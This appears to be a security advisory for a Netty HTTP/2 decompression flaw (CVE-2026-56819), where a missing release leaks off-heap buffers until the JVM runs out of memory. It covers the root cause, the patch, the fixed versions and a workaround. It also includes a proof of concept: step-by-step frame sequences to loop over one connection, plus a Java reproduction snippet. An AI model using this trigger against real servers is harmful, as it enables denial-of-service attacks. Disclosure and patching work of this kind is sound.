CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)
Sending HTTP/2 DATA frames to a Netty server with decompression enabled leaks one off-heap buffer per frame after the stream's decompressor is closed, eventually crashing the JVM with…

The problem
In DelegatingDecompressorFrameListener, the inner Http2Decompressor.decompress() method calls decompressor.writeInbound(data.retain()) without first checking whether the decompressor's EmbeddedChannel is still open.
When the channel is already closed (e.g., after onStreamRemoved triggers cleanup() -> finishAndReleaseAll()), writeInbound() throws ClosedChannelException at its ensureOpen() entry point. The retain() has already incremented the buffer's refCnt from 1 to 2, but the catch block does not call data.release() to roll it back.
The buffer can never reach refCnt 0 and its direct memory is never freed. One leak per DATA frame; sustained sending exhausts off-heap memory and kills the JVM.
Proof of concept
A working proof-of-concept for CVE-2026-56819 in io.netty:netty-codec-http2, with the exact payload below.
// Derived from patch diff (commit bb2ff68 / 5b68c61) and advisory PoC
// Triggers the leak: send a gzip-compressed HTTP/2 DATA frame on a stream
// whose decompressor EmbeddedChannel has already been closed.
//
// Network-level trigger (nghttp2 / h2c client):
// 1. Open an HTTP/2 connection to a Netty server with DelegatingDecompressorFrameListener.
// 2. Send HEADERS frame (stream 1) with 'content-encoding: gzip' — server opens decompressor.
// 3. Send DATA frame with END_STREAM on stream 1 — server closes (cleans up) the decompressor.
// 4. Immediately send another DATA frame on the SAME stream 1 (already-cleaned-up decompressor).
// The server calls decompress() -> data.retain() [refCnt 1->2] -> writeInbound() -> ClosedChannelException
// catch block does NOT release -> refCnt stays at 2 after caller releases once -> permanent leak.
// Repeat step 4 in a loop over the same long-lived connection to drain direct memory.
//
// Java unit-level reproduction (matches advisory PoC, derived from patch diff):
EmbeddedChannel decompressor = new EmbeddedChannel(
ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP));
// Simulate cleanup() / onStreamRemoved path
decompressor.close();
// Build a minimal valid gzip DATA payload
EmbeddedChannel encoder = new EmbeddedChannel(
ZlibCodecFactory.newZlibEncoder(ZlibWrapper.GZIP));
ByteBuf plain = Unpooled.copiedBuffer("hello", StandardCharsets.UTF_8);
encoder.writeOutbound(plain);
ByteBuf gzipData = encoder.readOutbound(); // refCnt = 1
// This is the vulnerable call path:
// decompressor.writeInbound(gzipData.retain());
// ^-- retain() fires first (refCnt 1->2)
// ^-- ensureOpen() throws ClosedChannelException
// ^-- catch block re-throws but never calls gzipData.release()
call_decompress(decompressor, gzipData); // internal method wrapping the above
// Caller releases once as frame reader would:
gzipData.release(); // refCnt goes 2->1, returns false (not freed) -> LEAK
System.out.println("refCnt after caller release: " + gzipData.refCnt()); // prints 1, not 0The root cause is a missing open-channel guard before the eager data.retain() call. The call decompressor.writeInbound(data.retain()) evaluates data.retain() unconditionally, incrementing refCnt before writeInbound() even begins. When ensureOpen() (EmbeddedChannel.java:979) finds the channel closed, it throws immediately, and the catch (Throwable t) block in decompress() rethrows the error as an Http2Exception without any rollback release.
CWE-401 (Missing Release of Memory after Effective Lifetime) applies directly.
The patch (commit bb2ff68 for 4.2, 5b68c61 for 4.1) adds an explicit channel.isOpen() check before calling data.retain(). If the channel is already closed, the frame is dropped safely without retaining the buffer, so refCnt never exceeds 1 and the frame reader's normal release brings it to 0.
The fix
Upgrade to io.netty:netty-codec-http2 version **4.2.16.Final** (or **4.1.136.Final** for the 4.1 branch). The fix adds an isOpen() guard in Http2Decompressor.decompress() so data.retain() is never called on a closed decompressor channel. If upgrading immediately is not possible, disable HTTP/2 content decompression by not installing DelegatingDecompressorFrameListener in the pipeline.
Related research
- high · 7.5CVE-2026-41695CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS
- high · 8.6CVE-2026-54609CVE-2026-54609: QTINeon NeonRelay Unauthenticated Amplification via Unbounded RECONNECT_REQUEST Forwarding
- critical · 9.4OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read
- high · 7.5netty-codec-xml XmlFrameDecoder Denial of Service via CPU Exhaustion